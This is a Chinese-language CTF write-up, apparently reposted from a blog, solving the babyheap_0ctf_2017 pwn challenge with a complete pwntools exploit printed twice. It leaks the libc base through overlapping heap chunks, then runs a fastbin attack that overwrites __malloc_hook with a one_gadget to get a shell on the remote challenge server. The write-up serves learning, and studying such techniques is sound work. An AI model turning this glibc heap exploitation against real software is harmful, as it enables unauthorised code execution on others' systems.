其他分享
首页 > 其他分享> > babyheap_0ctf_2017 详解

babyheap_0ctf_2017 详解

作者:互联网

题目地址: https://buuoj.cn/challenges#babyheap_0ctf_2017

本题为 64 位,以下内容以64位为例

信息收集

修改 libc 版本

bi0x@ubuntu:~/ctf$ patchelf --set-interpreter /home/bi0x/ctf/tools/glibc-all-in-one/libs/2.23-0ubuntu11.2_amd64/ld-linux-x86-64.so.2 ./babyheap_0ctf_2017 
bi0x@ubuntu:~/ctf$ patchelf --set-rpath /home/bi0x/ctf/tools/glibc-all-in-one/libs/2.23-0ubuntu11.2_amd64/:/libc.so.6 ./babyheap_0ctf_2017 
bi0x@ubuntu:~/ctf$ ldd ./babyheap_0ctf_2017 
	linux-vdso.so.1 (0x00007fff8ddd4000)
	libc.so.6 => /home/bi0x/ctf/tools/glibc-all-in-one/libs/2.23-0ubuntu11.2_amd64/libc.so.6 (0x00007f42c487f000)
	/home/bi0x/ctf/tools/glibc-all-in-one/libs/2.23-0ubuntu11.2_amd64/ld-linux-x86-64.so.2 => /lib64/ld-linux-x86-64.so.2 (0x00007f42c4e52000)

实施攻击

先根据题目情况构造好交互函数

from pwn import *

is_debug = 1
#context(os='linux', arch='amd64', log_level='debug')
context.log_level = "debug"
onegg_offset = 0
libc = null

def debug(sh):
    if is_debug == 0:
        gdb.attach(sh)
    return

def conn(s, port = 28960):
    global libc
    global onegg_offset
    if s == 0:
        libc = ELF("/home/bi0x/ctf/tools/glibc-all-in-one/libs/2.23-0ubuntu11.2_amd64/libc.so.6")
        onegg_offset = 0x4527a
        return process('./babyheap_0ctf_2017')
    else:
        libc = ELF("/home/bi0x/ctf/libc223/libc.so.6")
        onegg_offset = 0x4526a
        return remote('node3.buuoj.cn', port)

def allocate(size):
    io.sendlineafter("Command:", '1')
    io.sendlineafter("Size:", str(size))

def fill(index, content):
    io.sendlineafter("Command:", '2')
    io.sendlineafter("Index:", str(index))
    io.sendlineafter("Size:", str(len(content)))
    io.sendafter("Content:", content)

def free(index):
    io.sendlineafter("Command:", '3')
    io.sendlineafter("Index:", str(index))

def dump(index):
    io.sendlineafter("Command:", '4')
    io.sendlineafter("Index:", str(index))

申请堆块

io = conn(is_debug)
allocate(0x10)#0
allocate(0x10)#1
allocate(0x80)#2
allocate(0x10)#3
allocate(0x60)#4

假设以 x/ABgx 的形式来查看内存,这时候程序堆上的内容如下

堆块结构分析

#Prev_size(被释放才存)#Size + [ A M P ]
#此堆块存储的数据1#此堆块存储的数据2
#此堆块存储的数据n-1#此堆块存储的数据n

另外这里还有一个知识点,就是对于 small 大小的堆块,其被free后会放进smallbins里

#Prev_size#Size
#FD指针,指向前一个free的同大小堆块#BK指针,指向后一个free的同大小堆块
…(后续是之前这个堆块的数据)

泄漏 Main_arena 地址

fill(0, p64(0) * 3 + p64(0x51))
fill(2, p64(0) * 5 + p64(0x91))

free(1)
allocate(0x40)
fill(1, p64(0) * 3 + p64(0x91))
free(2)
io.recv()
dump(1)
io.recvuntil("Content:") 

#? --------------- get libc base ---------------
main_arena_88_addr = u64(io.recv(0x28)[0x22:].ljust(8, "\x00"))
success("Main Arena + 88 : " + hex(main_arena_88_addr))
malloc_hook_addr = main_arena_88_addr - 88 - 0x10
fake_small_bin_addr = malloc_hook_addr - 0x23
libc_addr = malloc_hook_addr - libc.sym["__malloc_hook"]
onegg = onegg_offset + libc_addr
success("Libc base: " + hex(libc_addr))
#? --------------- get libc base end ---------------

这里涉及到一个关于 fastbin 的知识,当fast chunk 被释放的时候,其会被放入对应大小的fastbin里

去掉与堆块大小无关的低4位数据,其符合0x70大小的fast chunk 要求


#! --------------- fast bin attack ---------------
free(4)
fill(3, p64(0) * 3 + p64(0x71) + p64(fake_small_bin_addr))
allocate(0x60)
allocate(0x60)
fill(4, "a" * 0x13 + p64(onegg))
#! --------------- fast bin attack finished ---------------
#* --------------- get shell ---------------
allocate(1)
io.interactive()
from pwn import *
import time

is_debug = 0
#context(os='linux', arch='amd64', log_level='debug')
context.log_level = "debug"
onegg_offset = 0
libc = null

def debug(sh):
    if is_debug == 0:
        gdb.attach(sh)
    return

def conn(s, port = 28960):
    global libc
    global onegg_offset
    if s == 0:
        libc = ELF("/home/bi0x/ctf/tools/glibc-all-in-one/libs/2.23-0ubuntu11.2_amd64/libc.so.6")
        onegg_offset = 0x4527a
        return process('./babyheap_0ctf_2017')
    else:
        libc = ELF("/home/bi0x/ctf/libc223/libc.so.6")
        onegg_offset = 0x4526a
        return remote('node3.buuoj.cn', port)

def allocate(size):
    io.sendlineafter("Command:", '1')
    io.sendlineafter("Size:", str(size))

def fill(index, content):
    io.sendlineafter("Command:", '2')
    io.sendlineafter("Index:", str(index))
    io.sendlineafter("Size:", str(len(content)))
    io.sendafter("Content:", content)

def free(index):
    io.sendlineafter("Command:", '3')
    io.sendlineafter("Index:", str(index))

def dump(index):
    io.sendlineafter("Command:", '4')
    io.sendlineafter("Index:", str(index))

io = conn(is_debug)
allocate(0x10)#0
allocate(0x10)#1
allocate(0x80)#2
allocate(0x10)#3
allocate(0x60)#4

#? --------------- leak libc ---------------
fill(0, p64(0) * 3 + p64(0x51))
fill(2, p64(0) * 5 + p64(0x91))

free(1)
allocate(0x40)

fill(1, p64(0) * 3 + p64(0x91))
free(2)

io.recv()
dump(1)
io.recvuntil("Content:")
#? --------------- leak libc end ---------------


#? --------------- get libc base ---------------
main_arena_88_addr = u64(io.recv(0x28)[0x22:].ljust(8, "\x00"))
success("Main Arena + 88 : " + hex(main_arena_88_addr))
malloc_hook_addr = main_arena_88_addr - 88 - 0x10
fake_small_bin_addr = malloc_hook_addr - 0x23
libc_addr = malloc_hook_addr - libc.sym["__malloc_hook"]
onegg = onegg_offset + libc_addr
success("Libc base: " + hex(libc_addr))
#? --------------- get libc base end ---------------


#! --------------- fast bin attack ---------------
free(4)
fill(3, p64(0) * 3 + p64(0x71) + p64(fake_small_bin_addr))
allocate(0x60)
allocate(0x60)
fill(4, "a" * 0x13 + p64(onegg))
#! --------------- fast bin attack finished ---------------


#* --------------- get shell ---------------
allocate(1)
io.interactive()

标签:0ctf,堆块,libc,babyheap,---------------,free,io,2017,addr
来源: https://blog.csdn.net/ytx2240067446/article/details/110046310